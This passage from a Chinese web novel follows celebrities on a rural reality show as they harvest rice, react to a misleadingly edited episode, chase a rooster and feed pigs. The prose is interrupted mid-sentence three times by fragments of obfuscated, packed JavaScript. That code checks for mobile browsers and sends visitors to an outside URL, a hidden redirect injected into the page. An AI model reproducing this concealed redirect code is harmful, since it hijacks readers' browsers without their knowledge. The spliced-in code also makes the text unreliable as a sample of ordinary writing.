猪脚快速奔走着,从自己儿时住的豪华大平层,到一个破旧的高中。这个高中沿山而建,长满青苔,教室破败不堪,篮球架上的玻璃也不知所踪,是从没来过的地方。 教学楼的楼梯上,坐着一个哭泣的男孩。 高嘉璈看见,慢慢靠过去,男孩也抬起头,对视的瞬间,都不约而同地发出“啊!”地一声。 男孩是因为看见了一只粉嘟嘟的干净猪,高嘉璈是因为看清了男孩的相貌——一个小版梅盛。 高嘉璈反复打量着小版梅盛,很眼熟,转念一想,不眼熟他怎么会知道是梅盛呢? 小梅盛看着他,说:“你是来陪我去那个地方的吗?” 那个地方?哪个地方?好好好在梦里也打哑迷是吧。高嘉璈于是问:“去哪里?” 毕竟是梦中,小梅盛并不觉得听懂猪讲话有什么问题,他的表情落寞下去,重新坐回楼梯上,说:“就是D市啊,唉,我好不想离开。” 现实中的梅盛不知道是真情绪稳定还是爱装,总之他的脸上基本不会有什么表情,但此时的小梅盛却很生动。 高嘉璈的语气也不自觉软了些:“为什么呢?” 小梅盛杵着脑袋,难过地说:“你怎么会明白?你是小猪。” 高嘉璈:……我活该问你。 “梅盛,来打球!” 身后传来呼唤,高嘉璈转过身,却发现自己站在空无一人的办公室走廊里,很高级,是个大公司。 “梅盛,给我滚!” 身边的办公室门内一声怒吼响起,紧接着是推搡声、文件散落在地的声音,还有“别吵了别吵了”的劝架声,很快又被第一个声音压过去。 “你以为丰和真是你家私有啊,我告诉你,现在都是董事会投票决定,你算个鸡毛!还在这里和我提要求,你做……” 办公室门没关,高嘉璈好奇地从门缝里探进脑袋,没想到自己体型过于庞大,直接把门给推开了。 骂人老头的那个“梦”字硬生生被这只突如其来的猪压回嗓子。 办公室内一片寂静。 老头指着高嘉璈,大声说:“快把他赶出去!这是公司内部会议,猪不能听!” 高嘉璈快笑死了,难道丰和集团的其他会议猪能参加吗? 没人动,梅盛低头站在原地,手里拿着被扯碎的纸屑,表情阴翳,浑身微微颤抖着。 老头见状,走上前,用尖皮鞋狠狠踢了高嘉璈一脚,“滚!” 纹丝不动,拜托,我现在可是猪诶。 老头更生气了,又狠狠踢了好几脚。 高嘉璈也不是吃素的,虽然没有痛感,但这等侮辱哪怕是在梦中他也受不了。 于是,他甩开蹄子朝老头奔去,直接把他撞飞,又在办公室里到处乱跑,撞飞椅子、撞飞花瓶、撞飞办公桌、撞飞所有人。 梅盛目瞪口呆,手里破碎的文件也落到地上。 高嘉璈笑得四仰八翻,要不是梅盛看着有点可怜,他很乐意把梅盛也撞飞。 “他在里面笑什么呢?”白子慎站在房间门口,听了半天,问阿云。 阿云摇头:“你说他醒了吗?” “管他醒没醒,”白子慎重重锤了几下门,“得把他叫起来了。” 高嘉璈身心愉悦地起了床,洗漱后,天刚蒙蒙亮,已经在啃馒头了。 居然有馒头,他们预感今早的任务不会容易。 果然,阿云介绍了任务:收水稻。 高嘉璈和白子慎需要把阿云家其中两亩的水稻割完,时间是一整天。 见他俩平静地点了点头,阿云就知道,他们对“两亩地”的水稻没有任何概念。 清晨的山间并不寂静,蝉声混杂着鸟声,还有水渠的“哗哗”声,和《稻香》开头一模一样。 来到集合地,高嘉璈看见梅盛就想起那个梦,想起那个就想笑,他憋住了。 白子慎注意到梅盛眼下的黑眼圈,问:“梅总,昨晚没睡好?” 梅盛没说话。他不想承认自己在梦里被一只猪惊到了。 每个嘉宾穿上水鞋,听农民大叔讲了一些割水稻的方法和注意事项,便下地了。 高嘉璈分配到的土地在中间,他哼着小曲往下走,稻田边已经有人家开始收水稻了,看见相机和明星,还笑着抬起手打了个招呼。 高嘉璈也抬手挥了挥,他背着箩筐拿着镰刀,呼吸着带着寒意的清新空气,心情很好。 直到看见自己要割的地。 一块十多米宽、但随着山坡蜿蜒曲折、看不到尽头的地。 他再三确认了这块地是自己一个人割后,倒吸一口凉气。 抬头看看,白子慎在自己上面一层田,也愣住了。 低头看看,梅盛在自己下面一块田,已经割了一捆了。 那么卷的吗?高嘉璈不甘落后,下地踩泥,弯腰开割。 这是他第一次割水稻,但很快上手,水稻一把把地被割下,高嘉璈觉得这或许是人骨子里会的东西吧。 身后田地里传来周晓文的声音,“这水稻也没那么难割嘛,还有点治愈,减轻压力。” 白子慎也说:“是啊,这地看着多,但我估计啊,一个早上能结束。” 高嘉璈斜上面那块田的蓝岚开口道:“你别放大话。” “哎呦!”高嘉璈斜下面的杨梅叫了一声,“割到手了。” 白子慎笑说:“这才开始啊妹子,要创可贴吗?” “要。”杨梅点头。 白子慎只是嘴嗨,并没有创可贴。 “我有,”周晓文从兜里掏出一盒创可贴,说:“接好。” 他把创可贴朝杨梅丢下去,杨梅没反应过来,结果创可贴掉进湿润的泥土里,一盒都用不了了。 杨梅:? 梅盛两耳不闻窗外事,一心只割圣贤草,这一会儿又割了好几捆。 五个小时后。 烈日当空,灼烧在后背上,高嘉璈腰酸背痛、大汗淋漓、饿得要死,可抬头看看,自己连三分之一都没割完。 这个事一点儿也不简单。 白子慎的嘴都割白了,为自己的嘴嗨付出了代价。 “开饭了!” 陈彤一喊,高嘉璈立刻放下镰刀,飞速奔向心心念念的饭盒。 六个人,蹲在田埂边,狼吞虎咽。 周晓文吃完,喘了好几口气才说:“导演,就没什么收割机、收割车可以用吗?我们又不是原始人,应该合理应用工业革命成果。” 周晓文其实想炫耀一下自己知道“工业革命”,但无人在意。 陈彤说:“这是梯田,每一级高差有一两米,你怎么把机器搬下来?” 周晓文不服气,“总有办法的,对吧,大家?” 白子慎也累惨了,点点头说:“有机器不用用人力,那不傻吗?” 陈彤见状,只好让他们等一下,他找人去开来。 很快,他们看见田地上面的道路上,出现了一张车,几乎有拖拉机那么大,前面还有个大滚轮。 陈彤站在上面喊:“还要吗?你们六个人怕是抬不下去。” 周晓文嘴角抽搐,问:“没有小一点的吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246593|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈彤摇头,大声说:“西瓜地村就这一台。” 周晓文无语了:“村长疯了吗?买一个用不了的收割机回来干什么?” 梅盛在身后淡淡说:“这是我捐的。” 周晓文:“……” 插曲后,他们没得选,只能继续弯腰割。 高嘉璈的手被镰刀割破了三四个口子,但都没有割猪草那次深,他觉得是因为自己使用镰刀更娴熟了。 又过了五个小时,夕阳把稻田打得橙黄一片。 梅盛第一个割完,踩着阳光走到高嘉璈田地边,问:“要帮忙吗?” “啊!”周晓文发出一声叫喊,“我手割破了,怎么办啊?还有那么多水稻没割完呢,算了,我今晚连夜也一定要割出来!” 高嘉璈憋着笑,对梅盛道:“你去帮他吧。” “不用不用,”周晓文立刻说,“嘉璈你也不容易,割猪草的伤恐怕还没好呢,今天又干那么多活,肯定累了。没关系,我能撑到割完。” 高嘉璈说:“周哥,你去太平洋洗个澡,明天美国人民就能喝上龙井了。” 蓝岚、杨梅、白子慎听见,都忍不住笑了一声。 梅盛问周晓文,“你需要帮忙吗?” “我,我应该还可以撑一下,但如果……” “那就再撑一下。”梅盛说完,弯下腰开始帮高嘉割水稻。 周晓文气愤地转过身去,他把原因归结为:自己中午的失言让梅盛不高兴了。 透过稻穗和点点阳光,梅盛的目光先是落到高嘉璈透着薄汗的侧脸,视线往下,看到他手上的伤口。 高嘉璈感受到,说:“我自己嗦过了。” 梅盛笑了笑。 高嘉璈往后看了一眼摄像,低声说:“干嘛帮我?梅总,我该说的都说过了……” “白子慎割不完。”梅盛打断他,目不斜视地低头割水稻,“如果不帮你,你也割不完,阿云的负担会很重。” 高嘉璈起身看了看这一亩水稻,不解:“我马上要割完了啊。” “几位嘉宾,下午好啊!”田埂上传来主持人大升的声音,所有人暂停手上动作看向他,三个大木盒一样的东西竖在田埂上。 “大家辛苦了,”大升笑着说,“收完水稻后,还有最后一件事,打谷子。大家需要用这些当地人叫做罐桶的东西,把稻穗上的谷子打下来。一户一个,加油!” 打谷子顾名思义,就是拿着稻杆,拍打木盒边缘,把上面的谷子打到木盒里。 三户人家的田地复杂交错,他们便把罐桶放在最高那一层的田上,然后一捆一捆地把稻谷拿上去。 高嘉璈拍着稻穗,金黄的稻谷像水一样流入罐桶,一次又一次,罐桶慢慢满了起来,天也慢慢黑了下来。 等所有的谷子打进罐桶,看着满满一木盒的金黄谷子,高嘉璈忍不住用手揽了一下,满足感油然而生,这就是丰收的感觉吗? 六个人累了一天,但无不洋溢着笑容。 只要再把三个罐桶运回去,今天的任务就算完成了。 两亩地的产量并不少,一个人搬罐桶不现实,他们比划了一下,决定三个人搬一个,最后一个四个男生去搬。 此时,天已经完全暗了,云很厚,月亮和星星都消失不见。 梅盛抬头看了看天,挽起袖子,搬住罐桶一处,说:“加快吧,要变天了。” 他的嘴比乌鸦还灵,话音刚落,天空打出一到闪电,紧接着,滚滚雷声响彻山谷。 摄影组非常有经验地穿上雨衣,把相机保护好;导演组的场务们拿着三块塑料布跑下来,不是给嘉宾,而是把三个罐桶封了起来。 没等场务回去拿伞,下一秒,大雨倾盆而落。 六个人:……能不能给我们一首歌的时间? 8. 鸡飞狗跳的reaction 周晓文一开始还想去树下面躲雨,还好听见梅盛说了一句,“会被劈死的。” 等导演组拿来伞,他们已经没有打伞的必要了。 白子慎抹了把脸上的水,问陈彤:“我们可以回去了吧?” 陈彤也抹一把,说:“恐怕不行,要把罐桶搬回去,不然明天收不完剩下的稻子了。” 白子慎瞪大眼睛,说:“这样下去我明天肯定生病,我生病了对节目组对大家都不好,对吧?” “我愿意搬。”周晓文打岔道。 他当然不愿意搬,但他揣测了梅盛的表情,虽然没什么表情,但从微微压低的眉中,周晓文看出了不快和鄙夷。 白子慎哪里知道周晓文的心思,但他这几天都是跟着周晓文行动,希望能从梅盛那儿分一杯羹。现在见周晓文这么说,他也闭上嘴。 蓝岚转头问杨梅;“你行吗?” 杨梅笑着,拨开前额被水黏住的头发,说:“不可以说女人不行。” 梅盛目光落到高嘉璈身上,高嘉璈虽然也很累,但他不想让阿云再累了,也点了点头。 罐桶虽然被封住,但雨落在上面还是会积起水来,三个人搬显然不可能,于是六个人只好齐心协力,勉强挪动了第一个罐桶。 上梯田的时候,需要三个人先上去接着,剩下三个人把罐桶顶起来,一点点地挪上去。好不容易搬上梯田了,还要一户户地给送回去。 阿云家离得最远,等他们送完其他两家的罐桶时,人已经从头湿到了脚,像是刚从水里面游了八十趟一样。 先是高嘉璈看见狼狈的周晓文,笑了一声,被周晓文狠狠瞪回来,他说:“大家谁不是落汤鸡。” 他们相互对视几眼,笑出声来。 瓢泼大雨对这些曾经温室的花朵们毫不留情,尽情冲刷着,硬生生把花朵浇成大树。 ………… 昨天下了一夜的雨,第二天空气中都是雨后的青草和泥土味。 高嘉璈深吸一口,感觉寿命都多了十年。 阿云叉着腰,一边晒谷子,一边说:今天是“休息日”,上午录综艺第一期播出的reaction,中午做饭,下午去合作社的猪场喂猪,晚上直播。 这也叫休息日?高嘉璈不理解,又问:“那割猪草呢?” 阿云说:“就你们那速度和质量,算了吧,我放羊的时候顺手割了。你们多穿点儿,今天风很大。” 阿云家是没有电视的,也没网。村子里唯一比较大、看起来没那么艰苦的就是陶五孃家,也就是杨梅和蓝岚入住的农户,于是录reaction的工作自然落到陶五孃家。 高嘉璈他们离得最远,到得也最晚,他们到陶五孃家堂屋的时候,节目组已经支好相机、布好光、打开电视了。海儿也在,她一看高嘉璈的鸡窝头,默默移开目光。 陶五孃家堂屋铺了地砖和瓷砖,看着通透又明亮,还有两个合并起的大沙发,正对着一台老式电视。 周晓文拉梅盛坐在最中间,杨梅和蓝岚坐左边,白子慎一看,抢先一步坐到梅盛身边,把高嘉璈挤到最边上。 梅盛动了动嘴,想说什么,却被周晓文打断,“梅哥,你看我这件衣服的领子正了吗?” 梅盛看了一眼,没看清,就说:“正了。” 反倒高嘉璈的领子不正,他一进来自己就看见了。于是给海儿使了个眼色,海儿接收到,坚定地点头,掏出梳子,上前狠狠把高嘉璈的头发梳服帖了。 梅盛叹了口气,站起身,跨过白子慎,走到高嘉璈面前,附身,把他的领子理了理。 从摄影机里看来,就像是梅盛在弯腰吻高嘉璈一样。工作人员没人说话,却都露出“我懂”的表情。 周晓文白了高嘉璈一眼,白子慎尴尬得像个电灯泡,杨梅意外地挑了挑眉,看向蓝岚,蓝岚一副“就是这样”的神情点了点头。 高嘉璈则是完全没反应过来,他以为梅盛要出去,还给他让位,没想到,他修长的手却放到了自己领子上。 他们离得很近,呼吸瞬间交融在一起。高嘉璈想起那个带着酒味的夜晚,不自在地往后缩了缩:“你……” 不等他开口,梅盛已经放开,绅士地说:“不用谢。” 高嘉璈:?没有人要谢谢你。 等梅盛回到原位,陈彤咳了两声,说:“我们第一期主要包括了前四天的割猪草和做饭,请大家看的时候活跃一点,如果能讲互相开开玩笑就更好了。” 白子慎笑笑,拿出老大哥的架势,说:“那是肯定,快开始吧导演,我很期待。” 看了半小时后,所有人都僵在原地。 有一段六人第一天晚上吃饭的对话,原话是: 高嘉璈:“蓝岚,我记得在三格珠宝的酒会见过你,你气质特别好,我还以为你是珠宝老板的女儿,结果你在农村长大,难怪了,会那么多农活。” 蓝岚笑了笑,说:“你这是夸我还是骂我?” “肯定是夸你啊,”杨梅把鸡腿掰下来,放到蓝岚碗里,“你今天累了,多吃点儿。” “杨梅,你可不能偏心啊,”白子慎有几分无奈地说,“今天我们都很累,你看那边,脸色都不好了。”他指着周晓文。 周晓文杵着脑袋,说:“那鸡的毛非常硬,我用开水烫了好几次,毛怎么都不掉,我只能上手拔,太吓人了,还有点恶心。” 蓝岚有些不快,说:“鸡是我和梅总杀的,你要是觉得拔毛也恶心的话,何必吃鸡肉呢?” “我也没吃多少啊,都是他在吃了。”周晓文抬了抬下巴,指向高嘉璈。 高嘉璈从碗里抬起头,怎么又扯到我身上了? 梅盛沉默地听着他们吵,只在高嘉璈抬头的时候问:“还喝一碗吗?” 鸡汤陶罐在梅盛手边,高嘉璈咬着筷子把碗递了过去,小声说:“谢谢,我只要汤就好,不要肉。” 梅盛说:“都吃一点,不然浪费了。” 杨梅一听,又为蓝岚盛了一碗。 鸡汤快见底时,白子慎盛了最后一碗带着渣滓的汤,喝得很痛快。 以上没什么可以多说的情节,播出后却是以下效果: 高嘉璈:“我记得在三格珠宝的酒会见过你,你气质特别好,我还以为你是珠宝老板的女儿。” 画面一切,是杨梅的脸,她没理高嘉璈,盛了碗汤递给旁边的人:“多吃点儿。” 而下一个镜头居然是周晓文,他杵着脑袋说:“那鸡,我用水烫了好几次,太吓人了。” 接着,杨梅掰下一个鸡腿,放到碗里,满脸心疼地说:“你今天太累了。” 白子慎说:“杨梅,你可不能偏心啊,你看那边,脸色都不好了。” 下一个镜头接高嘉璈,说:“你在农村长大,难怪了。” 白子慎喝了一口汤,无奈地说:“今天我们都很累。” 梅盛依旧是沉默地,这时切了一个周晓文汤喝完的视角,梅盛立刻问:“还喝一碗吗?” 周晓文抬了抬下巴,指向高嘉璈。 切高嘉璈空了的碗,他把碗递给梅盛,说:“我只要肉。” 梅盛说:“都吃一点。” 然后切镜头,居然是白子慎那碗带着渣滓的汤底,再切,梅盛把碗递给高嘉璈。 梅盛拿着给高嘉璈的有肉又有汤的碗,递了过去,再切,变成了周晓文低头喝汤。 坐在电视机前的六人:目瞪口呆。 这只是其中之一,其他情节都差不多: 蓝岚是小透明、白子慎是懒得和别人计较的老好人、杨梅很明显喜欢周晓文、梅盛是对周晓文好,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246594|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他人差的双标男、高嘉璈是个追杨梅讨厌周晓文的舔狗。 周晓文尴尬地捂住眼睛,他是塞钱让节目组给自己炒炒cp和增增热度,没让他们把自己剪成万人迷啊! 陈彤见他们这个表情,解释道:“因为我们的素材太平淡了,没有什么冲突就没有讨论度。越狗血的剧情观众越买单,再说,还可以靠cp增加一点知名度。” 梅盛皱了皱眉,说:“节目已经播出了吗?” 陈彤看了看身边工作人员,说:“梅总,第一期已经审核过了,而且宣传铺天盖地地都是今晚播出,一期正式内容,一期reaction陪看。” 梅盛靠到沙发上,没说话。 陈彤连忙保证下一期一定不会这样,六个嘉宾的表情才稍微好看了点,正要接着看,却见电视闪了两下,忽然黑屏了。 所有人都悄悄松了口气。 陈彤检查一番,说:“怎么断电了。” 此时,外面是大晴天,可风叫嚣着,用力拍打着窗户和门。 陶五孃从楼上走下来,说:“哎呦,又没电了。” 陈彤问:“五姑,怎么会突然断电?什么时候才能来电?” 五孃穿上外套,“肯定是哪根电线杆又被吹倒了,你们坐着,我去村委会检修一下。” 陈彤忙让一个会电工的工作人员跟着去。 “电线杆被吹倒?”高嘉璈重复了一遍,觉得这事简直不可思议。 陈彤说:“我们也别浪费时间,先做午饭吧。” 一开门,风瞬间压在身上,就像在高速路上开窗一样,呼吸都困难,更别说什么发型、衣着了,杨梅很瘦,被吹得差点没站稳。 这回,高嘉璈信了电线杆会被吹倒。 他们顶着风进入灶房,才要松口气,却看见鸡笼的锁扣不知道怎么被打开了。 一只大公鸡跳出笼子,然后,张开翅膀,乘着风飞了起来。 虽然只是几步就落地,但高嘉璈莫名看出了一股“我命由我不由天”的架势。 “抓鸡啊!”蓝岚说着,第一个冲了出去。 鸡飞到围墙上,“咕咕”地叫了两声,落到围墙外。 除了梅盛以外的五个嘉宾赶紧追出去,外面风更大,公鸡已经乘着风飞了起来。 高嘉璈跳起来去够那鸡,公鸡叫了一声,扑腾着翅膀飞得更高,然后落到一家房子的屋檐上,不屑地看着五个人类。 似乎在说:你们这些菜鸡。 “我来!”周晓文拿着把扫帚冲过来,对着屋檐上的鸡就是一扫,那鸡顺着风飞下来,落到周晓文头上。 “啊啊啊啊啊啊!”周晓文感觉脖颈都要断了,可不敢直接去碰活鸡,一急,拿着扫帚就往自己头上扫。 鸡轻巧地跳走,周晓文被自己扫得一头鸡毛。 这只飞鸡继续往菜地里飞,五个人追在后面,但等鸡停下或者靠近,又没人敢去抓。 村民们站在村子里看他们,笑得前仰后翻。 公鸡顺着风一级一级地下梯田,最后一阵大风起,鸡张来翅膀飞跃而起,它“咕咕”地大叫一声:再见了妈妈,我今早就要远航。 在五人惊恐的眼神中,一只修长有力的手抓住鸡的双脚,把它扯了回来。 梅盛抓着它,任由鸡怎么扑腾都无济于事。最后,它只好默默趴到梅盛手臂上,不动了。 风吹着梅盛深蓝色的冲锋衣,那张棱角分明又深邃的英俊脸庞似乎正是为了这个场景而生,加上他手臂上那只硕大的鸡,高嘉璈竟看出了些射雕英雄传里郭靖擒鹰的风采。 这个念头才冒出来,他就暗骂自己是不是疯了。 这边梅盛把鸡放回鸡笼,那边陶五孃家的大黄狗开始嗷嗷叫,一边叫,一边冲进厨房找吃的。 真正的鸡飞狗跳。 9. 古风小猪 他们中午没做成几个菜,梅盛便把带来的黑荞分给大家填肚子。 高嘉璈吃了一口才想起来这东西是不是没通过食品检测,不过看梅盛也吃了,便管他的,不干不净吃了没病,再说,要死一起死。 经历了早上的鸡飞狗跳,下午去合作社喂猪这件事似乎变成了一个美差。 合作社猪场在西瓜地村下面十公里处,这里背风,和村里的风比起来微不足道,脚下江水近了许多,江面也变宽了许多。 猪场不算很大,同样沿山而建,分两层,他们进去的地方是上层,停了几辆卡车,旁边堆着一座小山高的猪饲料。 猪饲料黄袋子上印着高嘉璈的相片,好像无数高嘉璈的头密密麻麻地堆在一起,一个表情地尬笑着。 周晓文看见,往后退了好几步,“晚上进来能被吓死。” 摄影机很“有眼力见”地拍摄了猪饲料,又拍了拍高嘉璈,高嘉璈深吸一口气,狠狠瞪了梅盛一眼,准备视而不见。 视而不见是不可能的。因为猪场饲养员已经热情地迎了过来,剪开一包倒进推车,然后惊奇地发现猪饲料袋子上的人和眼前的人一模一样。 “这是你吗?”饲养员拿着空袋子,反复比对。 高嘉璈默默掏出墨镜带上,幅度非常小地点了下头。 饲养员说:“你本人比猪饲料袋子上帅。” 高嘉璈小声说了句“谢谢”,耳朵尖已经红起来了。 饲养员让他们穿好工作服,说:“你们的第一个任务是配比猪食,厚软猪饲料占七,其他蔬菜占三。” 白子慎奇怪,“直接喂饲料不就行了?” 饲养员说:“饲料贵的哦,多出来的成本怎个整?” “这你还担心啊,”白子慎指着高嘉璈,“你们代言人搁这儿呢!让他帮你们把价格打下来!” 高嘉璈在墨镜下默默翻了个白眼,你怎么不去和老板梅盛说? 饲养员说:“我不懂什么代言人,但是猪饲料的价格一直都差不多,怎么可能打得下来,老板不赚钱吗?还是加点蔬菜划算。” 梅盛说:“混合饲料的猪的肉质会比纯饲料猪好,价格也更贵。” 饲养员赞许地说:“诶,这个小伙子就了解了嘛。” 他们按照住房分成三队,饲养员找了三口大锅给他们,然后提来三大袋新鲜蔬菜和煮猪食需要的盐和油。 高嘉璈看着那一盆白花花的油,用他匮乏的生活经验想了一会儿,震惊地问:“这是猪油吗?” 饲养员点头。 除了蓝岚和梅盛,其他四个人都很惊讶。 周晓文说:“这有点恶心了吧。” 蓝岚无语:“你怎么那么多恶心的东西?猪是杂食动物,把你跺碎了丢进去它也吃。” 周晓文往后缩了缩。 杨梅拐了拐蓝岚,让她谨言慎行,按节目组的调性,说不准断章取义地把最后一句话截下来,然后明天热搜头条就是:“蓝岚要把周晓文剁碎给猪吃”之类的无厘头话题。 白子慎和高嘉璈一个切菜一个起锅烧水,切好的蔬菜一股脑地全放进去,再加上油盐,香味扑鼻。高嘉璈拿锅铲搅拌着,甚至想尝一口味道。 白子慎看出了他的动向,心里暗道不愧是猪饲料代言人,猪食都那么吸引他。 混合好猪食后,饲养员说:“你们今天的任务很简单,喂猪、把新来的小猪赶进猪圈、冲洗猪圈。” 猪圈在下层,饲养员边带他们下去边说:猪的生存要求很挑剔,温度高温度低都不行,所以猪场和牛场不同,是封闭的,味道也会难散。 他话音刚落,一股非常单纯的臭味扑鼻而来。 六个人默默拉上口罩。 猪场有一个足球场大小,有近三百只猪,大概十只关一个圈,五圈一个区,刚好分成了六个区域。 高嘉璈分到了最里面的区域,里面的猪都是中猪,体型不算夸张,大小和一条大金毛差不多。他推着食车进去,猪们立刻“哄哄”地挤到猪槽前。 “饿死我了饿死我了。” “今天怎么那么晚?” “奇怪,是不是换了一个人类?” “这个哥哥我曾见过的。” 耳边响起嘈杂的讨论声,周围没有人,只有这四五十只猪。 高嘉璈呆在原地,不敢置信,在自己疯了和世界疯了之间反复横跳。 “那人类怎么不动了?” “快点发粮啊!本猪要饿死了!!” 高嘉璈往后退了一步,掏了掏耳朵,周围猪的哼哼声更响了,但细听后发现,它们说的都是人话。 高嘉璈惊恐地跑走,他需要静静。摄影师赶紧跟上。 白子慎看着在猪圈里肆意奔跑的高嘉璈,惋惜地摇了摇头,这是疯了吧。 大门外的阳光被遮挡住,高嘉璈迎面撞上一个人,抬头一看,梅盛。 看着他一脸惊恐的表情,梅盛问:“怎么了?” “猪,说话了!” 别说梅盛,在场所以工作人员和嘉宾全都沉默。 陈彤过来,低声问高嘉璈要不要喊医生,这里有兽医,但应该也略懂人的精神状态。 “我没疯,”高嘉璈急忙说,“不是,你们都听不见吗?它们在说人话啊!” 所有人摇头。 梅盛示意暂停录制,拉着高嘉璈出去,把他带到围墙边,问:“你听到了什么?” “猪真的在说人话,我能听懂!”高嘉璈眉头紧锁。 “说了什么?” “好多,什么饿了饿了,今天换了喂食的人,还有这个哥哥我曾见过的……” 梅盛说:“红楼梦?” “对,它真的说了!搞什么,古风小猪吗?” 梅盛扶住高嘉璈的肩,俯身和他平行,说:“猪不可能读过红楼梦。你是不是幻听了?” “真是我疯了?”高嘉璈不自信地说。 梅盛垂眸想了想,说:“听懂猪说话也不是坏事。你现在进去试试,能不能和它们沟通。” 录制继续,高嘉璈回到自己负责的区域,推着饲料车,铲了一大铲子饲料,下定决心,大声说:“哪只小猪夸我帅,我就先给哪只小猪!” 白子慎负责的区域在高嘉璈后面,听见这话,已经开始思考自己今晚要不要换个地方住了。 猪们居然真的开始哼哼唧唧地夸起来: “哥哥好帅!” “你是我猪生见过最帅的人类!” “啊啊啊啊哥哥看看我!” “我一直都在吃哥哥代言的饲料,超好吃!” 高嘉璈听见这句话,顺着声音看去,一只粉嘟嘟的猪趴在饲料槽的上面,像只小狗一样直勾勾地看着自己。 高嘉璈隔着手套摸了小猪的头,“真会说话,先给你们吧。”接着把一大铲子的饲料放到它所在的猪圈。 其他猪圈里的夸赞声不绝于耳,高嘉璈于是开始顺着分发,等猪都低下头吃干饭时,诡异的人声终于消失了。 “哥哥,我还想吃!” 身后传来呼唤,高嘉璈回头,是那只趴在饲料槽上的聪明小猪。反正饲料也还省一点,高嘉璈干脆用手拿着饲料,伸到它嘴边去。 小猪“吧唧吧唧”地吃起来,吃完,还舔了舔他的手套。高嘉璈才要问它吃饱没,就见它张开嘴,一嘴咬住高嘉璈的手。 虽然有手套隔着,但架不住疼啊,刺得他脑袋瞬间清醒过来。 “放开放开放开!!”高嘉璈上下甩动手臂,小猪却咬得更紧,并且跳下食槽墙,把高嘉璈扯得半个身子都在猪圈里。 还好猪场饲养员看见,上去就打了小猪几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246595|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,小猪这才收嘴,把高嘉璈救了出来。 摘下手套,手有些红,没什么大碍。但高嘉璈不明白,为什么它要咬自己,刚不是聊得很好吗? 于是高嘉璈直接问猪圈里缩在一边的小猪,“为什么咬我? 小猪哼唧了几声。但这一次,高嘉璈发现自己听不懂了,再看其他出声的猪,同样只能听到哼唧声了。 高嘉璈挠挠头,都不太确定自己是否真的有听见过猪在说人话。 “小猪仔来了!大家喂完出来赶猪!”饲养员在外面喊道。 走到外面,几个嘉宾都用同情的目光看着他,蓝岚踌躇一番,才要说话,就被梅盛打断:“怎么样?” 高嘉璈摇头:“听不见了。” 嘉宾和工作人员都松了口气。 梅盛若有所思。 一车白花花胖乎乎的小猪仔出现在猪场门口,白子慎和高嘉璈打开车门,小猪仔像粉白色海浪一样涌出来。 杨梅蓝岚和高嘉璈他们一起挡住外面的路,把小猪仔逼进猪场。 梅盛走在前面赶猪,周晓文装模作样地在后面赶猪,实际上隔得十米远,结果小猪仔们纷纷涌到他脚下,给周晓文搅得无处下脚。 很快,小猪仔就下得差不多,但不是每一只猪都那么乖,比如现在,一只看着肥肥嫩嫩的小猪悄咪咪从高嘉璈脚边钻了出去。 高嘉璈只感觉余光闪过一道白,转过身,小猪仔已经跑出十米远了。 他忙让蓝岚看好其他猪,朝小猪仔追去。 小猪仔到底是四条腿,比人多两条腿,跑起来猪突猛进地。 高嘉璈跑了几步就喘起粗气,这里海拔不低,跑步并不轻松。但他今早上已经在追鸡这件事上失败了,不想下午也被猪看不起,更想和村民、嘉宾、观众、粉丝证明一下,他高嘉璈不是什么都做不好。 燃起来了! 杨梅和蓝岚看着山路上极速奔跑的高嘉璈,不理解他在燃什么——猪场的狗会去追猪仔的。 高嘉璈听见身后“呼哧呼哧”地声音,还没转头,一条小黄狗如风般略过他,追上小猪仔,把它逼停。 小黄狗吐着舌头、摇着大尾巴、一脸骄傲地看着高嘉璈。 高嘉璈一边安慰自己跑不过狗不是什么丢脸的事情,过去撸了下小黄,一边把猪仔抱起来。 小猪仔挣了一下,发现没用,静悄悄地不动了。 高嘉璈把它抬起来看了一眼,小猪仔的眼神清澈,比别的猪看起来聪明许多,他轻轻晃了晃小猪,问:“为什么要跑?” 小猪“哼哼”两声,但高嘉璈此时已经失去听猪语的神功,只好抱着它回到猪场。 今天最后一件事——清洗猪圈。 这真不是一般人能做的,六个嘉宾带上护具,拿上高压水枪,雄赳赳气昂昂地走进猪圈,打开水枪,一点点把地上和猪身上的污垢冲刷干净。 猪巍然不动,坦然接受着来自人类的洗澡。 等他们洗好猪,已经是晚上了,今天的大风吹开了天上乌云,圆月明亮,静静照在西瓜地山上。 拍摄已经结束,几个嘉宾洗完澡就可以回家了,晚上九点半还有剧组组织的单人直播。 高嘉璈首先洗完,换了一条新裤子,穿了件无袖背心,用毛巾擦着发尾的头发。月光下,他精瘦的手臂线条格外诱人,那截细腰被粗糙的背心布料裹着,让人怀疑布料下的皮肤会不会被被摩擦得发红。 他转头看看,浴室还没人出来,于是掏出手机正准备看看热搜。 